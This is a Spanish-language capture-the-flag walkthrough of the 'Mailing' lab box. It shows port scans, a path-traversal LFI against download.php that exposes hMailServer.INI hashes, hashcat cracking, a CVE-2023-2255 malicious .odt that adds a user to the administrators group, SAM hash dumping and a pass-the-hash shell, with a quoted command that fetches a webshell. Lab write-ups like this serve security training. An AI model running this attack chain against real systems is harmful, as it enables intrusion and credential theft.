



## nmap

```
nmap -sC -sV 10.10.11.14
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 17:50 EDT
Nmap scan report for 10.10.11.14
Host is up (0.12s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
25/tcp    open  smtp         hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp    open  http         Microsoft IIS httpd 10.0
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: Did not follow redirect to http://mailing.htb
110/tcp   open  pop3         hMailServer pop3d
|_ pop3-capabilities: UIDL TOP USER
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
465/tcp   open  ssl/smtp     hMailServer smtpd
|_ ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_ Not valid after: 2029-10-06T18:24:10
587/tcp   open  smtp         hMailServer smtpd
|_ ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_ Not valid after: 2029-10-06T18:24:10
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
993/tcp   open  ssl/imap     hMailServer imapd
|_ ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_ Not valid after: 2029-10-06T18:24:10
|_ imap-capabilities: SORT IMAP4 IMAP4rev1 OK ACL IDLE completed QUOTA CAPABILITY RIGHTS=texkA0001 NAMESPACE CHILDREN
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe/o:microsoft:windows

Host script results:
| smb2-security-mode:
|_ 3:1:
|_ Message signing enabled but not required
| smb2-time:
|_ date: 2024-05-18T21:51:01
|_ start_date: N/A
|_ clock-skew: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.24 seconds
```

```
masscan -p1-65355,U:1-65535 10.10.11.14 --rate=1000 -e tun0
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-05-18 21:55:53 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [130890 ports/host]
Discovered open port 587/tcp on 10.10.11.14
Discovered open port 49667/tcp on 10.10.11.14
Discovered open port 49666/tcp on 10.10.11.14
Discovered open port 80/tcp on 10.10.11.14
Discovered open port 49665/tcp on 10.10.11.14
Discovered open port 5040/tcp on 10.10.11.14
Discovered open port 465/tcp on 10.10.11.14
Discovered open port 445/tcp on 10.10.11.14
Discovered open port 57224/tcp on 10.10.11.14
Discovered open port 56630/tcp on 10.10.11.14
Discovered open port 47001/tcp on 10.10.11.14
Discovered open port 49664/tcp on 10.10.11.14
Discovered open port 993/tcp on 10.10.11.14
Discovered open port 135/tcp on 10.10.11.14
Discovered open port 143/tcp on 10.10.11.14
```

Discovered open port 139/tcp on 10.10.11.14  
Discovered open port 5985/tcp on 10.10.11.14  
Discovered open port 25/tcp on 10.10.11.14  
Discovered open port 49668/tcp on 10.10.11.14

## LFI

#Realizamos una petición de descarga a ../../etc/hosts

GET /download.php../../etc/passwd HTTP/1.1

Host: mailing.htb

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: close

Referer: <http://mailing.htb/>

Upgrade-Insecure-Requests: 1

#Vemos este error <div class="content-container"><fieldset>

<h2>404 - File or directory not found.</h2>

<h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>

</fieldset></div>

#Probamos con LFI al fichero MailServer..INI, vemos algunos hashes.

?file=../../Program+Files+(x86)/hMailServer/Bin/hMailServer..INI

GET /download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.INI HTTP/1.1

Host: mailing.htb

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: close

Referer: <http://mailing.htb/>

Upgrade-Insecure-Requests: 1

#Obtenemos la respuesta del servidor:

```
HTTP/1.1 200 OK
Cache-Control: must-revalidate
Pragma: public
Content-Type: application/octet-stream
Expires: 0
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/8.3.3
Content-Description: File Transfer
Content-Disposition: attachment; filename="hMailServer.INI"
X-Powered-By: ASP.NET
Date: Sat, 01 Jun 2024 13:59:23 GMT
Connection: close
Content-Length: 604

[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
DataFolder=C:\Program Files (x86)\hMailServer\Data
```

```
LogFolder=C:\Program Files (x86)\hMailServer\Logs
TempFolder=C:\Program Files (x86)\hMailServer\Temp
EventFolder=C:\Program Files (x86)\hMailServer\Events
[UILanguages]
ValidLanguages=english,swedish
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Type=MSSQLCE
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c
PasswordEncryption=1
Port=0
Server=
Database=hMailServer
Internal=1
```

#Le haremos bruteforce al hash del admin.  
hash=841bb5acfa6779ae432fd7a4e6600ba7

HASH: 841bb5acfa6779ae432fd7a4e6600ba7

Possible Hashs:

[+] MD5  
[+] Domain Cached Credentials - MD4(MD4((\$pass)).(strtolower(\$username)))

hashcat hash.txt --wordlist /home/alle/Desktop/wordlists/rockyou.txt -m 0  
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEP, DISTRO, POCL\_DEBUG) - Platform #1 [The pocl project]

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\* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2882/5829 MB (1024 MB allocatable), 12MCU

Minimum password length supported by kernel: 0  
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts  
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates  
Rules: 1

Optimizers applied:

- \* Zero-Byte
- \* Early-Skip
- \* Not-Salted
- \* Not-Iterated
- \* Single-Hash
- \* Single-Salt
- \* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.  
Pure kernels can crack longer passwords, but drastically reduce performance.  
If you want to switch to optimized kernels, append -O to your commandline.  
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.  
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 3 MB

Dictionary cache built:

- \* Filename...: /home/alle/Desktop/wordlists/rockyou.txt
- \* Passwords.: 14344395
- \* Bytes.....: 139921532
- \* Keyspace...: 14344388
- \* Runtime...: 1 sec

841bb5acfa6779ae432fd7a4e6600ba7:homenetworkingadministrator

Session.....: hashcat  
Status.....: Cracked  
Hash.Mode.....: 0 (MD5)

Hash.Target.....: 841bb5acfa6779ae432fd7a4e6600ba7  
Time.Started.....: Sat Jun 16:07:50 2024 (2 secs)  
Time.Estimated....: Sat Jun 16:07:52 2024 (0 secs)  
Kernel.Feature....: Pure Kernel  
Guess.Base.....: File (/home/alle/Desktop/wordlists/rockyou.txt)  
Guess.Queue.....: 1/1 (100.00%)  
Speed.#1.....: 3625.6 kH/s (0.24ms) @ Accel:512 Loops:1 Thr:1 Vec:8  
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)  
Progress.....: 7563264/14344388 (52.73%)  
Rejected.....: 0/7563264 (0.00%)  
Restore.Point....: 7557120/14344388 (52.68%)  
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1  
Candidate.Engine.: Device Generator  
Candidates.#1....: honey@miel -> home38886951

Started: Sat Jun 16:07:48 2024  
Stopped: Sat Jun 16:07:54 2024

#Tenemos las credenciales.  
user → admin  
passwd → homenetworkingadministrator







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Minimum password length supported by kernel: 0  
Maximum password length supported by kernel: 256

Optimizers applied:

- \* Zero-Byte
- \* Not-Iterated
- \* Single-Hash
- \* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.  
Pure kernels can crack longer passwords, but drastically reduce performance.  
If you want to switch to optimized kernels, append -O to your commandline.  
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.  
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 3 MB

Dictionary cache hit:

```
* Filename... /home/alle/Desktop/wordlists/rockyou.txt
* Passwords.: 14344388
* Bytes.....: 139921532
* Keyspace...: 14344388
```

[illegible]

user → MAYA

passwd → m4y4ngs4ri

# root

#Observamos que aplicaciones, tiene el host:

```
*Evil-WinRM* PS C:\> cd "Program Files"
```

```
*Evil-WinRM* PS C:\Program Files> dir
```

Directory: C:\Program Files

Mode	LastWriteTime	Length	Name
d-----	2/27/2024 5:30 PM		Common Files
d-----	3/3/2024 4:40 PM		dotnet
d-----	3/3/2024 4:32 PM		Git
d-----	4/29/2024 6:54 PM		Internet Explorer
d-----	3/4/2024 6:57 PM		LibreOffice
d-----	3/3/2024 4:06 PM		Microsoft Update Health Tools
d-----	12/7/2019 10:14 AM		ModifiableWindowsApps
d-----	2/27/2024 4:58 PM		MSBuild
d-----	2/27/2024 5:30 PM		OpenSSL-Win64
d-----	3/13/2024 4:49 PM		PackageManagement
d-----	2/27/2024 4:58 PM		Reference Assemblies
d-----	3/13/2024 4:48 PM		RUXIM
d-----	2/27/2024 4:32 PM		VMware
d-----	3/3/2024 5:13 PM		Windows Defender
d-----	4/29/2024 6:54 PM		Windows Defender Advanced Threat Protection
d-----	3/3/2024 5:13 PM		Windows Mail
d-----	3/3/2024 5:13 PM		Windows Media Player
d-----	4/29/2024 6:54 PM		Windows Multimedia Platform
d-----	2/27/2024 4:26 PM		Windows NT
d-----	3/3/2024 5:13 PM		Windows Photo Viewer
d-----	4/29/2024 6:54 PM		Windows Portable Devices
d-----	12/7/2019 10:31 AM		Windows Security
d-----	3/13/2024 4:49 PM		WindowsPowerShell

```
*Evil-WinRM* PS C:\Program Files>
```

#Podemos ver que se está ejecutando Libre Office 7.4

```
*Evil-WinRM* PS C:\Program Files\LibreOffice\readmes> type readme_es.txt
```

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LÃ©ame de LibreOffice 7.4

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#Trataremos de explotarla con esta vulnerabilidad CVE-2023-2255:

<https://www.libreoffice.org/about-us/security/advisories/cve-2023-2255/>

<https://github.com/elweth-sec/CVE-2023-2255>

#Usage:

## Exploit

Just an example to drop a webshell in current directory.

```
python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output 'exploit.odt'
```

#Creamos el exploit con el formato "exploit.odt"

```
python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'exploit.odt'
```

File exploit.odt has been created !

#Mediante el comando curl, subiremos el exploit al equipo.

#Lo subiremos dentro del directorio "C:\Import Documents\"

```
*Evil-WinRM* PS C:\Important Documents> curl -o exploit.odt http://10.10.14.106/exploit.odt
```

```
*Evil-WinRM* PS C:\Important Documents> dir
```

Directory: C:\Important Documents

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	6/1/2024 4:39 PM	30526	exploit.odt

priv\_escaltion

#Vemos los permisos que tiene el usuario  
\*Evil-WinRM\* PS C:\Important Documents> net users maya  
User name                   maya  
Full Name  
Comment  
User's comment  
Country/region code       000 (System Default)  
Account active            Yes  
Account expires           Never

Password last set        2024-04-12 4:16:20 AM  
Password expires         Never  
Password changeable     2024-04-12 4:16:20 AM  
Password required        Yes  
User may change password   Yes

Workstations allowed     All  
Logon script  
User profile  
Home directory  
Last logon               2024-06-01 4:39:45 PM

Logon hours allowed      All

Local Group Memberships   \*Remote Management Use\*Usuarios  
                              \*Usuarios de escritori  
Global Group memberships   \*Ninguno  
The command completed successfully.

#Mediante el "exploit.odt", modificamos los permisos.  
#Esperamos unos segundos y...

\*Evil-WinRM\* PS C:\Important Documents> net users maya  
User name                   maya  
Full Name  
Comment  
User's comment  
Country/region code       000 (System Default)  
Account active            Yes  
Account expires           Never

Password last set        2024-04-12 4:16:20 AM  
Password expires         Never  
Password changeable     2024-04-12 4:16:20 AM  
Password required        Yes  
User may change password   Yes

Workstations allowed     All  
Logon script  
User profile  
Home directory  
Last logon               2024-06-01 4:41:48 PM

Logon hours allowed      All

Local Group Memberships   \*Administradores    \*Remote Management Use  
                              \*Usuarios                \*Usuarios de escritori  
Global Group memberships   \*Ninguno  
The command completed successfully.

#Ya tenemos permisos de adminstración.  
#Conectaremos con crackmapexe smb al recurso comartido para obener el golden ticket. TGT.  
#Lo haremos mediante el uso de las credenciles del usuario maya, dumpearemos los hashes del usuario.

crackmapexec smb 10.10.11.14 -u maya -p "m4y4ngs4ri" --sam[\*] First time use detected  
[\*] Creating home directory structure  
[\*] Creating default workspace  
[\*] Initializing FTP protocol database  
[\*] Initializing MSSQL protocol database

```

[*] Initializing SMB protocol database
[*] Initializing WINRM protocol database
[*] Initializing SSH protocol database
[*] Initializing RDP protocol database
[*] Initializing LDAP protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [+] MAILING\maya:m4y4ngs4ri (Pwn3d!)
SMB 10.10.11.14 445 MAILING [+] Dumping SAM hashes
^[[SMB 10.10.11.14 445 MAILING Administrador:500:aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.14 445 MAILING Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.14 445 MAILING DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.14 445 MAILING WDAGUtilityAccount:
504:aad3b435b51404eeaad3b435b51404ee:e349e2966c623fcb0a254e866a9a7e4c:::
SMB 10.10.11.14 445 MAILING localadmin:1001:aad3b435b51404eeaad3b435b51404ee:
9aa582783780d1546d62f2d102daefae:::
SMB 10.10.11.14 445 MAILING maya:1002:aad3b435b51404eeaad3b435b51404ee:af760798079bf7a3d80253126d3d28af:::
SMB 10.10.11.14 445 MAILING [+] Added 6 SAM hashes to the database

```

```

#Con impacket-wmiexec, nos conectamos con el hash.
impacket-wmiexec localadmin@10.10.11.14 -hashes "aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae"
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

```

```

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>cd Users
C:\Users>cd localadmin
cd DesC:\Users\localadmin>cd Desktop
tyC:\Users\localadmin\Desktop>type root.txt
89525615b4ac5188080965ddb1c4d699

```